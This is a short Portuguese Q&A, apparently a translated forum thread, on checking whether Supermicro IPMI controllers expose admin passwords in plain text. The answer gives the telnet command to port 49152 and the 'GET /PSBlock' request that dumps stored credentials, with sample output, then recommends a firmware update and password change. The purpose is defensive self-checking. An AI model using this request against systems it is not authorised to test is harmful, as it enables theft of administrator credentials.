Como verificar se o meu Supermicro IPMI está comprometido com a senha do administrador em texto simples pela Web?

Question

Tenho alguns servidores Supermicro com IPMI em execução e, conforme descrito neste blog ( link ) há uma vulnerabilidade crítica para obter senhas de administrador em texto simples a partir de qualquer local remoto.

Como verificar se minha placa-mãe do servidor está comprometida?

    

Answer 1

Basta fazer o telnet para o endereço IP da IPMI na porta 49152 e fazer uma solicitação GET específica. Você deve obter seus usuários e senhas se estiver comprometido.

telnet server.example.com 49152

Após a conexão, peça GET /PSBlock e assista os resultados, deve ser algo assim:

Trying 192.168.1.22...
Connected to server.example.com.
Escape character is '^]'.
GET /PSBlock

Resposta:

=%}?
0adminADMIN**yourPlaintextPasswordHere**;TTroot**AnotherPassword**???%?v?i?o???DDD@??

Para resolver esse problema, atualize o firmware da IPMI para a versão mais recente. O firmware é específico para o seu controlador IPMI, então você deve obter o especificado no site da Supermicro.

Depois de atualizar o firmware , altere suas senhas .